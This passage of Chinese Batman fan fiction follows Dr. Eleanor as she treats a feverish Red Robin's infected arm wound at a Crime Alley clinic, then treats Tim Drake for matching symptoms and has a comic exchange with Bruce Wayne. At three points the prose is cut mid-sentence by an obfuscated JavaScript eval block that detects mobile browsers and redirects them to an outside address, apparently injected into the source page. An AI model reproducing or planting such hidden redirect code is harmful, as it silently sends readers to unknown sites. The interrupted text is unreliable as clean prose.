没关系的,这并不意味着埃拉诺错过了一个理发师。看起来那个青年就住在东区,就住在犯罪巷附近,他知道莱斯利医生的诊所,也知道自己。 埃拉诺拎着采购的食材回到诊所时,莱斯利医生刚送走一位来看皮疹的老太太。 “收获如何?”莱斯利接过她手中的一个袋子。 “蓝莓是一场赌博,”埃拉诺把东西放进厨房,“但我遇到了一个有趣的‘庄家’。” “哦?”莱斯利开始整理蔬菜,动作娴熟。 “一个年轻人,在生鲜区。叫杰森。头发有一绺很漂亮的白发,像是挑染,但我不确定,也可能是色素缺失或者毛囊……算了,不说了,”埃拉诺拿起来一个苹果冲了冲,然后啃了一口,“聊了聊哥谭的物价多么亲切,以及西海岸的雨季多么令人沮丧。” 莱斯利手上的动作没有停顿,只是眉毛扬了一下。 “听起来像是个有品味的本地人。东区这样的年轻人不少,日子不容易,总得给自己找点亮色。” “是啊。”埃拉诺接着啃苹果,“他还买了绷带和消毒水。标准的哥谭居家必备。” “这提醒我了,”她背对着埃拉诺说,“诊所的缝合线和无菌敷料也该补货了。最近……嗯,磕磕碰碰的人多了点。” 埃拉诺:“可不是嘛,韦恩先生也要开始了,我已经准备好下个月看到他从瑞士回来的新闻了。” 莱斯利:“是的,说到韦恩先生,我想你描述的那个年轻人,应该是杰森·陶德。” 12.免疫力低下的小鸟 哥谭首富次子现身东区普通超市? 什么鬼新闻标题啊。 埃拉诺不能理解。 哥谭又没有那种随便一个面包都贵的吓死人的超市,潘尼沃斯先生口中的“杰森·陶德少爷”何苦来这种普通超市买东西。 “我很难理解杰森·陶德出现在东区的原因。” 埃拉诺诚实地说。 她吃完了一整个苹果,把苹果核丢进垃圾桶去。 “韦恩先生给他的钱肯定足够他去钻石区那些超市。” 莱斯利:“或许他更愿意自食其力,就像迪克在布鲁德海文当警察一样。” 埃拉诺再次打开水龙头开始洗手,医生的一天总是要洗很多遍手,但她这回洗手只是为了洗掉苹果汁而已。 出于习惯,埃拉诺还是挤上了一泵消毒液。 “无论如何,我现在是不抱打听理发师的希望了。我一直想说他的头发很棒来着,但没来得及说。” 年轻的医生说。 然后,更为成熟的那位医生停顿了一会,她把购物袋整理一下,然后拎起来往楼上走。 莱斯利边走边说:“明智的选择,我敢说杰森一定很乐意介绍他的理发师,但我建议你不去问。” 埃拉诺耸了耸肩:“我也是这么想的。” 接着她拿起来剩下一个购物袋,上楼,今天下午是莱斯利医生在楼下坐诊,她要休息一会,然后做晚饭。 今天晚上她值前半夜的班,后半夜是莱斯利医生值。 这对埃拉诺来说是个毫无压力的安排,就算是没有夜班的时候,她晚上也不会睡得太早,而妈妈坚持她年纪大了,早上醒的早,值后半夜的班正好。 夜班的前半段平静得近乎刻板。 埃拉诺处理了一个流感,一个需要复查的伤口换药,以及一个母亲抱着因耳痛哭闹不止的幼儿。 开出处方,做好记录,消毒台面。 时间在消毒水的气味和键盘敲击声中滑向深夜。 哥谭的夜晚从不真正寂静,远处偶尔传来警笛的嘶鸣或模糊的叫喊,但这些都像是隔着一层厚厚的玻璃——也确实隔了一层厚厚的防弹玻璃。 诊所内只有自己的手指敲键盘的轻微声响。埃拉诺正在整理病历,考虑是否要给自己再冲一杯浓度足以抵抗睡意的黑咖啡时,门铃极其轻微地响了一声。 不是急促的拍打,甚至不像是推门——更像是有人用身体某处极轻地蹭了一下铃铛。 她抬起头,手已经本能地放在了桌下那个不显眼的警报按钮附近。诊所的门被缓慢推开,一个穿着红黑相间制服的身影侧身滑了进来,随即迅速将门掩上。 是红罗宾。哥谭上空那些影子中的一员,此刻却出现在她这间小小的社区诊所。 “晚上好,医生,”面具下的声音经过变声器处理,带着惯常的电子质感,“我只是路过,看看这里是否一切正常。” 埃拉诺把手从键盘上挪开,身体微微前倾。 尽管隔着一段距离,她似乎能感觉到一股不寻常的热辐射。 一种持续的闷人的热度。 感觉有点像是接诊那个流感病人时的状态。 “感谢关心,”埃拉诺点点头,“莱斯利医生在休息,目前一切正常。最近哥谭的夜晚还算……有秩序?” 她在观察。 他的呼吸频率,隔着一段距离听不真切,但胸廓起伏的幅度比正常状态下稍快一些。 义警们的紧身衣都能很好地观察到胸廓起伏的幅度。 红罗宾站姿挺拔,埃拉诺看不出来有什么问题,除了一些模糊的迹象,她没发现别的东西。 “可控范围内,”红罗宾简洁地回答,又补充了一句,“你适应得很快。” “这是我的工作,”埃拉诺站起身,这个动作很慢,不至于惊动对方。她拿起桌上的水杯,假装要走向饮水机,实际上拉近了一点距离。 “要喝点水吗?” “不用,谢谢。” 他拒绝得很快,有点太快了。 就在他说话时,借着更近的角度和光线,埃拉诺看到了他颈侧皮肤上一抹被制服领口和披风扣半掩着的不自然潮红。 红罗宾的多米诺面具只遮上半张脸,下半张脸……嗯,唇色正常。 但不能排除是伪装。 发烧。 这个判断瞬间跳入她的脑海。 “你确定?”埃拉诺停下脚步,转过身,正面面对他,“你看上去有点疲惫。夜间巡逻消耗很大,即使是例行巡查。” “我很好。”他强调,但声音里那丝透过变声器都无法完全掩盖的沙哑更明显了。 埃拉诺没有退让。她向前又走了一小步,目光紧紧锁住他。 “红罗宾,我是医生。我的职责包括判断一个人是否很好。你的呼吸频率轻度增加,皮肤有脱水迹象,而且……”她顿了顿,仔细看着他暴露在外的下颌和脖颈皮肤,“你在试图控制颤抖。是觉得冷,还是肌肉酸痛?” 沉默在诊所里蔓延。 红罗宾站在那里,面具后的眼睛想必正紧紧盯着她。他在评估风险,评估她。 “只是有点累。”他终于再次开口,语气软化了一丝,但仍在坚持,“最近……数据分析和追踪比较多。休息一下就好。” “数据分析不会引起颈淋巴结区域的轻微肿胀,”埃拉诺平静地指出,她的目光落在他制服领口上方,“也不会让你在恒温环境下出现明显的血管收缩体征,你的皮肤发干且颜色异常。你很可能在发热,而且热度不低。” 她不再给他否认的机会,用上了最直接也最不容置疑的医生口吻:“我不知道你们的蝙蝠洞里医疗协议是什么,但在这里,一个明确在发烧、可能伴有感染风险的个体,需要接受基本评估。这无关你的身份或任务,这是医学常识。” 她转身走向药品柜,拿出一个非接触式红外体温计和一副新手套。 “坐下,”她头也不回地说,“或者至少靠墙站稳。让我测一下体温。如果是普通病毒感染,你需要的是补水,退热和休息,而不是在哥谭的屋顶上吹冷风夜巡。如果是细菌感染……” 她戴好手套,又一次转过身,目光锐利。 “延误的后果可能很严重。” 红罗宾依然站着没动。 他来到诊所是为了寻求帮助。 一定是的。 埃拉诺对这点很确定,因为她知道义警们“确认诊所附近安全”的状态是什么样子的,会刻意放重一点脚步,会在玻璃前晃过一个影子。 已经有一个月了,如果一个义警不需要医疗支持,他或她是不会走进来的。 埃拉诺举起了体温计。 “三秒钟。不接触,不留记录。只是一个数字,然后我才能告诉你,你是该喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190551|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点电解质水然后回去睡觉,还是需要考虑点更严肃的事情。” 也许是她话语里的务实态度,也许是那“不留记录”的承诺,也许是发烧带来的判断力确实下降了——红罗宾最终点了一下头,身体微微靠向了旁边的墙壁。 埃拉诺迅速上前,隔着一段距离,将体温计对准他未被面具覆盖的额头侧方。 “嘀”的一声轻响。 她看向屏幕。 38.9°C。 “高热,”她放□□温计,声音严肃起来,“你现在绝对不应该在进行任何体力活动。最近有没有受伤,哪怕是很小的伤口?” “……很小的伤口。”红罗宾重复了她的最后的一个词组。 埃拉诺点头确认。 “是的,很小的伤口。” 红罗宾:“每天都有,不严重,只是擦伤或者是轻微的皮肉伤,我自行处理过。一般来说,不会有事的。” “啊,看起来今天不是一般情况了。‘一般’建立在免疫系统正常运作,伤口得到恰当处理,且身体得到充分休息的基础上。显然,这几条里至少有两项没有满足。” 她没有等待对方反驳或解释,直接指向检查床:“坐下,我需要看一下你说的轻微皮肉伤里,有没有哪一处正在扮演感染灶的角色。放心,我只检查明显的伤口区域,不会要求你脱下制服。” 她的语气和姿态都表明这不是商量,是医疗必要程序。 对于一个体温38.9°C的疑似感染患者,寻找感染源是首要步骤。 红罗宾迟疑了大约两秒——可能是在权衡暴露伤口的风险与延误处理的后果——最终还是依言走到检查床边,侧身坐下。 埃拉诺从器械盘里拿起一把新的无菌镊子和纱布,打开一个小型LED检查灯。 “在哪里?我需要知道大致位置。” “……左前臂。外侧。”红罗宾的声音透过变声器传来,闷闷的。 埃拉诺点点头,小心地托起他的左前臂。红黑相间的制服衣袖是紧身的,但材料有弹性,衣袖可以掀开,翻折上去。 她仔细查看他所说的外侧区域,很快,她注意到一处大约两厘米长,被处理过但贴合并不完美的边缘。 某种液体敷料或快速闭合胶的痕迹,但现在已经有些翘起。 “这里?”她用镊子尖虚点了一下。 “嗯。” “我需要打开它检查。可能会有点牵扯痛。” 得到对方一个细微的颔首后,埃拉诺用镊子和另一只手的手指,极其小心地将那层已经失效的覆盖物剥离。 伤口暴露出来,确实不长,也不深,像是什么粗糙边缘快速擦过造成的撕裂伤。 但问题不在于伤口本身,而在于它的状态。 伤口边缘红肿,发热,轻轻按压,有少量浑浊的渗液被挤出,周围的皮肤呈现出不健康的暗红色。 典型的局部感染迹象。而且,鉴于患者出现全身性高热,这很可能就是原发感染灶。 运气还挺好,查看的第一个伤口就是感染灶。不过,埃拉诺更倾向于红罗宾已经确认过这里是感染灶了。 “伤口感染了,”埃拉诺陈述事实,语气平稳,“看起来起初处理得过于简陋,或者之后没有保持清洁,加上你身体的免疫系统可能因为疲劳和……其他压力而处于低谷,给了细菌机会。这解释了你的发烧。” 13.处理伤口 “我需要清理这个伤口,然后可能需要一点抗生素药膏,或者视情况决定是否需要口服抗生素。” 生理盐水,碘伏,棉签,新的敷料,以及一支外用抗生素软膏。 埃拉诺很利落地把东西收拾出来,伤口不难处理。夸张一点,甚至可以说是完全用不上她在医学院学的任何内容。 就凭她在莱斯利医生诊所长大学到的医疗常识就可以处理了。 红罗宾大概是忘记了这一处伤口吧。 大概。 或者他本身就有免疫力问题。 不然不至于到这个地步。 “局部感染如果早期处理得当,有时单用外用药和充分引流就够了。但你现在有高热,意味着感染可能已经进入系统性阶段。” 处理伤口时埃拉诺习惯说点什么来转移病人的注意力,但对于义警,她拿不准话题,总不能说“今天天气真不错”这种老套话题吧。 所以埃拉诺干巴巴地解说了一下伤口的情况,毋庸置疑这是废话,但如果直接对一位哥谭的义务警员说“忍耐一下”,她又实在是有点负罪感。 他们忍耐得够多了。 埃拉诺用镊子夹起一块浸透生理盐水的纱布,开始轻柔地擦拭伤口周围的皮肤,清除松动的痂皮和分泌物。 “会有点凉。” 医生说。 少年的手臂绷紧了一瞬间,然后开始放松。看起来他在高热中对身体的控制力依然很好。 是的,少年,不是别的东西。 从皮肤的光泽和弹性来看,这条小臂属于一个少年,青少年。 年龄…… 蝙蝠侠在上,希望红罗宾真的有什么能让皮肤保持年轻的超能力,要是他真的还是个十几岁的孩子的话…… 埃拉诺也无能为力。 埃拉诺能做到的就是不做多余动作,用精准的手法仔细检查了伤口深处,确认没有残留的异物或形成脓肿腔。 “看起来主要是浅表蜂窝织炎,没有形成深部脓肿,这算是个好消息。” 她用新的干纱布吸掉多余液体,然后挤出一段米粒大小的抗生素软膏,均匀涂在创面上,嘴上依然在播报伤口的情况。 “好消息?” 红罗宾似乎对她用这个词感到意外。 “意思是大概率不需要切开引流,也降低了需要静脉抗生素的可能性。”埃拉诺解释道,开始用一块透气的无菌纱布覆盖伤口,并用低致敏性的胶带固定,“当然,这只是基于当前视诊的判断。如果24到48小时内红肿不退,体温不降,或者出现新的症状,你必须回来复诊,或者……联系你们自己的医疗支持。” 她包扎完毕,退后一步,摘下手套扔进医疗废物桶。接着打开药品柜,取出两板药片,再用剪刀很小心地剪开,确保每一片都是独立的,边角圆润,不会划伤皮肤。 “体温超过38.5°C或者觉得头痛肌肉酸痛难忍时可以吃一片,间隔至少六小时。多喝水,电解质水更好。”埃拉诺把剪好的药片分装,在袋子上写上药品名。 她拿起另一板。 “这是广谱口服抗生素。我强烈建议你开始服用。剂量是每十二小时一片,饭后服用,完成整个疗程,即使你觉得好转了也不要提前停药。” 然后一样剪好分装,把两个小袋子推到红罗宾手边。 “选择权在你。但作为一名医生,我的建议非常明确。服用抗生素,大量补水,今晚剩下的时间和明天全天,绝对休息。你的身体需要能量去对抗感染,而不是去追捕罪犯或者分析数据。” 变声器过滤了红罗宾的呼吸声,但埃拉诺能看到他胸膛起伏的节奏依然稍快。年轻的义警正在把制服袖子放下来,埃拉诺在一旁看着,学习这种技巧。 以防万一哪一天需要急诊手术,他们的紧身衣脱不下来——哦,脱不下来是板上钉钉的,肯定要剪开,但紧身衣的话,剪开也很容易划伤皮肤。 红罗宾拿起那两个小小的药袋,手指灵巧地将它们滑进万能腰带的暗格,埃拉诺没有看明白这是怎么做到的。 “谢谢,医生。” 他的声音透过变声器传来,沙哑减轻了一点,也许是心理作用,也许只是他稍微放松了些。 “我会尽力遵守医嘱。”红罗宾说,听起来比刚才认真了一些。 “最好是。”埃拉诺转身,手里拿着清理干净的器械盘,“记住,体温、红肿、或者任何你觉得不对劲的变化。及时处理感染比处理感染引起的并发症容易得多,也便宜得多——无论从哪个角度衡量。” 红罗宾已经站了起来,他点了点头,多米诺面具在诊所昏暗的灯光下泛着微光。 “我该走了。”他说,目光扫过诊所紧闭的前门,又落回埃拉诺脸上,“再次感谢,埃拉诺医生。” “只是做了份内的事。”埃拉诺走到门边,没有立刻开门,而是侧耳听了听外面的动静——只有远处模糊的城市白噪音。 她回头看了红罗宾一眼,补充道。 “从后门走。路灯坏了两盏,阴影更连贯。” 一个月以来,路灯总是坏了修,修了坏。 没办法,这里是犯罪巷。 但总归还是有些时候是亮着的,总是有工人在白天时来修好路灯。 不过今天晚上的确是坏的。 红罗宾愣了一下,埃拉诺想自己的建议一定很傻,她居然在潜行这件事上给红罗宾提建议。 但是义警说:“明智的建议。” 埃拉诺为他打开后门,带着夜晚凉意的空气涌入。红罗宾侧身闪出,披风在门框边缘拂过,没有发出一点声音。他回头看了她最后一眼,然后便融入巷道的黑暗之中,消失得如同出现时一样突兀。 埃拉诺关上门,锁好,靠在门板上静静站了几秒。诊所里重新只剩下她自己的呼吸声和时钟的滴答。 “谢谢。” 她说。 她走回治疗区,完成最后的清洁和消毒工作,将医疗废物打包。动作机械而熟练,脑子里却在回放刚才的每一个细节。 高热,局部感染,疲惫但控制力惊人的少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199919|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年义警。 剪好的药片,她特意选了不会反光的哑光小袋。 他收纳药袋时那种训练有素的流畅。 埃拉诺决定不去想这些,还是想想怎么护理因为滑雪受伤的韦恩先生吧。 哦,韦恩先生还没有出发去滑雪,但埃拉诺确信他会是坐着医疗直升机回哥谭的。不得不说他的意志力太顽强了,开颅没多久就又恢复了继续极限运动的精力。 昨天晚上韦恩先生已经去慈善宴会了,出发前埃拉诺发消息提醒他不要喝酒,他说他喝姜汁汽水,然后阿尔弗雷德作证他确实只喝了姜汁汽水,很遵守医嘱。 她不知道自己提供的帮助是否真的足够。 无论是对韦恩先生还是对蝙蝠侠和蝙蝠侠的助手们。 抗生素能对抗细菌,但对抗不了哥谭的夜晚,也对抗不了驱使一个发烧的少年依然披上披风的那些东西。 收拾完一切,埃拉诺给自己冲了杯咖啡,坐回桌前。电脑屏幕还亮着,停留在未完成的病历界面。她想了想,新建了一个文档,标题很简单:【夜班日志 - 补充】。 【时间:约凌晨1点30分。患者:年轻男性,因疑似浅表伤口感染继发高热就诊。查体:T 38.9°C,左前臂外侧可见约2cm感染性撕裂伤,局部红肿热痛,渗液浑浊,无深部脓肿形成。处理:清创,外用抗生素软膏覆盖,包扎。给予口服非甾体抗炎药及广谱抗生素(已分装),强调休息及补水必要性。患者离院时生命体征平稳。】 然后,在下方,她用更小的字体加了一句备注: 【注:患者表现出高度的疼痛耐受性与身体控制力,对医疗流程配合度良好。建议后续关注此类患者可能存在的慢性疲劳及免疫压力问题,并考虑预备更适合其活动特点的药物分装方式(独立、密封、边缘圆钝)。另,其制服材质具有高弹性但可能难以快速移除,考虑未来若需紧急处理,应备有特制钝头手术剪。】 保存,加密,关闭。 她喝了一口咖啡,温度刚好。窗外的哥谭依然醒着,但公园街的这一角暂时归于平静。埃拉诺不知道红罗宾会不会真的吃掉那些药,会不会找个温暖干燥的地方躺下休息,还是又立刻投入数据和线索的海洋,或者更糟,直接回到屋顶。 她能做的已经做了。提供专业的医疗判断,清晰的方案,尽可能方便执行的药物形式,以及一个明确的如果情况恶化可以回来的安全出口。 剩下的,就像她对很多病人说的那样,取决于他们自己。 后半夜再没有访客。埃拉诺在凌晨三点叫醒了莱斯利医生换班,简单交接了夜间的几个病例——包括了红罗宾的部分,母亲没有任何不同寻常的表现。 莱斯利点点头,没有多问,只是拍了拍她的肩膀。 “去睡吧,剩下的交给我。” 梦里会有特制钝头手术剪——不,诊所的器械柜里本来就应该有这种特制的器材。 埃拉诺在床上睁开眼睛。 她想到那次开颅手术,让她决定返回哥谭的手术。 14.相似的症状 麻醉医生是阿尔弗雷德。 护士是理查德和芭芭拉。 没有一助。 一台高难度的手术不能没有助手,所以埃拉诺回到哥谭,打算在下一次这样的手术发生时成为助手。 起初,埃拉诺觉得做手术的人大概是某一个义警,因为给普通病人治病的医护不需要使用化名。 但每一个义警都正常地活跃在哥谭的夜空中。 所以埃拉诺放弃了追查,也没有再问过“阿尔弗雷德的麻醉医师资格证”和“理查德与芭芭拉的护士证”这种问题。 意义不大。 世界上秘密太多了。无论何时,何地。埃拉诺对待很多事情都是睁一只眼闭一只眼,她是个没心没肺的乐观主义者,只要母亲还是在好好地在公园街经营诊所,只要她自己还能继续治病救人,埃拉诺就什么都不在乎。 哦,不过,潘尼沃斯先生的电话还是要在乎的。 埃拉诺永远在第一时间接听管家先生的电话。 “阿尔弗雷德,上午好。” 阿尔弗雷德:“上午好,埃拉诺医生。希望没有打扰您的工作,庄园这边可能需要您来一趟。提姆少爷身体有些不适。” 埃拉诺的心轻轻一提。 “具体是什么症状?” “精神萎靡,食欲不振,自述头痛和肌肉酸痛。我测量了他的体温,38.1°C,低热,”阿尔弗雷德顿了顿,“少爷坚持这只是熬夜和轻微感冒,但我认为需要您专业的评估。” “我明白了。是突发性的吗?昨晚看起来如何?”埃拉诺一边问,一边已经起身开始收拾出诊包。 电话那头有极其短暂的停顿。 “昨晚……少爷参加了布鲁斯老爷的慈善晚宴,回来得不算太晚,但之后似乎又在……书房工作到深夜。今早状态便开始下滑。” 在发烧的状态下熬夜。 埃拉诺皱眉。 她想到了另外一个在发烧状态下熬夜的人,事实上,她昨天的夜班刚刚处理过这个病例——红罗宾的病例。 “好的,我马上出发。请让他尽量休息,适当补充水分。” “已经在进行中,医生。车会去公园街诊所接您。” 一路无话。埃拉诺的思绪在飞转。 青少年,突发发热,伴有全身症状。常见病原体感染的可能性最大,但也需要排除其他可能,尤其是在提摩西·德雷克这种长期处于高压,可能作息极度不规律的……高中生兼职总裁身上。 抵达庄园后,阿尔弗雷德直接将她引至医疗室。提姆·德雷克果然在那里,他靠坐在一张诊疗椅上,脸色比上次见面时明显苍白,埃拉诺很熟悉这种苍白,昨天晚上临近午夜的时候,红罗宾没有被多米诺面具遮盖的下半张脸就是这样的苍白。 他穿着家居服,外面随意披了件外套,手里还拿着一个平板,但屏幕是暗的。 “下午好,提姆。” 埃拉诺换上专业温和的语气。 “下午好,医生。抱歉麻烦你跑一趟,我觉得阿尔弗雷德有点小题大做。” 提姆试图扯出一个笑容,但看起来没什么力气——和红罗宾截然不同,即使是在高热的状态下,红罗宾也显得很有力量的,但是提姆完全不同。 埃拉诺再次扫视一眼自己的病人。在宽松的家居服下,她看不出来什么,之前每一次见到提姆,他都穿着高中男孩穿的宽松卫衣和牛仔裤,在不进行体格检查的情况下,很难看出来什么。 考虑到之前他没有表现出什么病症,也没有理由进行体格检查。 和韦恩先生不一样,毕竟布鲁斯老爷是很确定地在澳大利亚由一个签署了保密协议的医疗团队实施了开颅手术,需要严格监控后续康复。 埃拉诺走到他面前,仔细观察他的面色、眼结膜,并拿出电子体温计,示意他测量。 等待读数时,她继续进行视诊和问询:“除了头痛,肌肉酸痛,有没有喉咙痛、咳嗽、流鼻涕?有没有恶心,呕吐或者腹泻?” 提姆摇了摇头:“喉咙有点干,但不算痛。没有咳嗽流涕,也没有肠胃症状。就是觉得累,发冷,然后头一跳一跳地疼。” 体温计发出提示音。比阿尔弗雷德打电话时要低了一点。 “嗯,低热,”埃拉诺记录下数据,然后拿出听诊器,“我需要听一下心肺。” 提姆配合地解开外套和家居服的上方扣子。埃拉诺专注地倾听,心肺音基本清晰,呼吸音稍粗,但未闻及明显干湿性啰音。她又检查了他的咽喉,扁桃体无明显红肿。 除了发热和相应的全身症状,没有发现非常特异的局部感染体征。 “根据目前的症状和体征,考虑感染性发热的可能性最大,”埃拉诺摘下听诊器,看着提姆,“但具体是病毒还是细菌,我建议抽血做个血常规,可以快速判断感染的大致类型和严重程度。庄园的医疗室应该可以完成采血,也有相应的化验设备。” “抽血……有必要吗?也许就是普通病毒感冒,休息两天就好了。” 提姆的反驳来的很快,少年的蓝眼睛显得格外困倦,眼神有些飘忽不定。 这在埃拉诺的意料之中,富豪们总是很小心自己的隐私,血液这么重要的东西,再怎么小心都不为过。 但……拜托啊,在你自家庄园里,全程监控,感冒查个血而已。 埃拉诺忍不住在心里吐槽。 最终,在阿尔弗雷德极具分量的注视下,提姆还是同意抽血化验。 过程很顺利。庄园医疗室的设备先进,操作流程标准,埃拉诺亲自采了血,放入分析仪。等待结果时,她让提姆服下了一粒温和的退烧药,并再次叮嘱他休息和补水的重要性。 至于说病人本人——他看起来有些昏昏欲睡,这次没有再反驳。 血常规结果很快出来了。白细胞计数和中性粒细胞比例轻度升高,C反应蛋白也有轻微上扬。典型的细菌感染血象,符合急性上呼吸道细菌感染或早期其他部位细菌感染的表现。 “看来是细菌在捣乱,”埃拉诺看着报告,对提姆和一旁的阿尔弗雷德解释道,“不算严重,但需要干预。我会开一个疗程的口服抗生素,按时服用,务必完成整个疗程。同时继续对症处理,退烧,休息,补充营养和水分。如果出现任何新症状,比如高热不退,呼吸困难,皮疹,立刻联系我。” 她快速写好处方,交给阿尔弗雷德。管家接过,微微颔首:“我会确保少爷按时服药。非常感谢您,医生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213461|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “分内之事。”埃拉诺收起自己的东西,又看了一眼已经闭上眼睛的提姆。 离开医疗室,埃拉诺向主宅大门走去。 细菌感染。发烧,畏寒,头痛,肌肉酸痛。 和昨晚红罗宾的临床症状描述高度重叠。 当然,红罗宾是因为伤口处理不当引发的局部感染扩散,导致全身性症状。而提姆·德雷克……一个过度劳累,免疫力可能暂时下降的青少年,在人员密集的慈善晚宴后感染了常见的致病菌,也完全说得通。 哥谭的病原体又不会区分蒙面义警,高中男孩和公司总裁。 哦,这可不是三个人,这是两个人。 她耸了耸肩,决定把这种过于巧合的联想归结成医生职业病的无意义发散,并准备不再考虑这件事。正如她决定不再追问阿尔弗雷德的麻醉技术从何而来一样,更不追问到底谁是阿尔弗雷德。 就在她快要走到门厅时,一个高大的身影从侧面的书房里走了出来,恰好与她迎面相遇。 是布鲁斯·韦恩。 “上午好,韦恩先生。” 埃拉诺往侧面退了一步,站定,和布鲁斯打招呼。他看起来有点疲惫,但还不至于很疲惫。 “请您注意身体,虽然您的恢复速度很快,韦恩先生,但依然要注意不能过度劳累。” 她忍不住说。 “上午好,埃拉诺医生。” 布鲁斯·韦恩脸上扬起一个很布鲁西宝贝的笑容,埃拉诺想他在昨晚的慈善宴会上一定就是这么笑的。 “我会注意休息的,提姆情况怎么样?阿福说他有点低热。” 既然阿尔弗雷德已经通知了韦恩先生,埃拉诺想这件事可以适当地透露一部分。也就是说,没必要对韦恩先生保密提姆的病情。 “只是细菌性感染,问题不大,按时吃药,多休息——你也一样,多休息,布鲁斯老爷。” 埃拉诺有意去学阿尔弗雷德的口气。这句话她甚至是用英式英语说的。 布鲁斯微笑着叹了口气,这表情对他来说很适宜,让哥谭首富看起来更迷人了,更像是那个在募捐时第一个签天文数字的支票,然后带动所有晚宴客人一起开始签支票。 虽然从来没有亲眼见过这种场景,但作为韦恩奖学金获得者之一,埃拉诺一直觉得这样的布鲁斯·韦恩是最迷人,最英俊,最潇洒的。 “我会的,医生,昨天晚上的晚宴,我没有喝酒。” “听起来非常好,韦恩先生,请您一定要珍惜自己的身体,要知道,许多哥谭人在不知名的地方都对它充满了真心实意的关切。” 这是真的。 万一韦恩真的在玩极限运动时把自己搞成了植物人或者出现了更糟糕的结局,谁知道哪些民生保障项目会不会停掉。 孩子们的午餐怎么办? 搞不好哥谭其他所谓的企业家会让孩子们贷款吃午餐的! …… 因此,埃拉诺对韦恩先生身体的担忧也是真心实意的。 “我绝对没有喝酒,”布鲁斯高高兴兴地保证说,“我喝的全是姜汁汽水,而且只喝了一瓶,饮料的摄入也没有过量,而且我一直以来都在宴会上只喝汽水,生活方式很健康,埃拉诺医生。” 15.蝙蝠健康生活 “啊,既然如此,听起来,你的生活方式真是健康极了,韦恩先生。” 埃拉诺很谨慎地选择出口的词汇。很难想象布鲁斯·韦恩不喝酒,但他的确是说自己不喝酒,而且是从不喝酒,从来都是用姜汁汽水代替晚宴上的酒水。 确实健康。 不过这话的真伪无从验证,现在还是上午,晚宴会持续到深夜,如果韦恩真喝酒了的话,现在测个血液酒精浓度估计还能测出来…… 韦恩庄园的医疗室里有相应的仪器。 但埃拉诺不能说“我们去确认一下你是不是真的没有喝酒”,埃拉诺只能说“您的生活方式真是健康极了”。 “谢谢,埃拉诺医生。” 布鲁斯似乎对这个回答非常满意,他眨了眨自己的眼睛。 “我可以信任你的专业能力,对吧,埃拉诺,你是哪一所学校毕业的来着——我没有怎么看简历,这都是阿福负责的。” 哥谭首富轻抬起一根手指扶住额角,好像他在努力回想自己从来没有看过的家庭医生简历上的内容。 “我是斯坦福毕业的医学博士,韦恩先生。以及,是的,您绝对可以信任我的专业能力,在获得庄园家庭医生的职位前,我已经是波特兰切尔西综合医院的主治医师了。” 埃拉诺复述自己的简历内容。 “这么说,你一定在医学方面很权威了,”韦恩的语气听上去满意极了,“一位斯坦福大学的医学博士,一位年轻有为的主治医师,说我的生活方式非常健康。” 布鲁斯的语调异常轻快。 埃拉诺甚至看见他的嘴角在上扬。不是新闻上的商业微笑,这个笑看起来要更真心一点。 “是的……韦恩先生。” 感觉怪怪的。 “这么说的话,我可以向阿福宣布有这样的一位权威人士作证我的生活方式很健康,也可以向莱斯利医生——也就是你的母亲,同时也是我很尊重的长辈——说我的生活方式很健康。” 布鲁斯的语气充满了期待。 哦,蝙蝠啊。 自己好像真说了“听起来你的生活方式很健康”这种话。 埃拉诺想。 “如果你的确不喝酒——” 埃拉诺再次确认。 布鲁斯心情愉悦地说:“是的,埃拉诺医生,我从不喝酒。” 埃拉诺:“如果你的确不吸烟——” 布鲁斯心情更愉悦地说:“是的,埃拉诺医生,我的确从不吸烟。” 埃拉诺:“如果你的确没有任何形式的药物滥用——” 布鲁斯的心情达到愉悦峰值:“绝对没有,莱斯利医生可以作证。” 埃拉诺松了一口气:“哦,这么说的话,你的生活方式的确很健康,韦恩先生。” 布鲁斯满意地点点头:“非常感谢,埃拉诺医生,我一定要把你这位专业人士的健康认证告诉阿福,再见,祝你有美好的一天。” 埃拉诺:“也祝您有健康的一天,韦恩先生。” 布鲁斯·韦恩心满意足地转身离开,步履轻快得仿佛刚谈成了一笔大生意,而不是刚刚从一个医生那里获得了一份关于自己生活方式的,基于有限事实的健康认证。 埃拉诺目送他的背影消失在走廊拐角,轻轻摇了摇头,把那个关于“布鲁斯·韦恩到底在晚宴上喝没喝酒”以及“他对极限运动的热爱与健康生活方式的定义冲突”的念头再次打包塞回大脑的某个角落。 她继续向主宅大门走去,阿尔弗雷德已经等在那里。 阿尔弗雷德·潘尼沃斯一定从蝙蝠侠那里学了一手,明明她前脚刚刚从医疗室和阿尔弗雷德告别,后脚他又在门口等着自己。 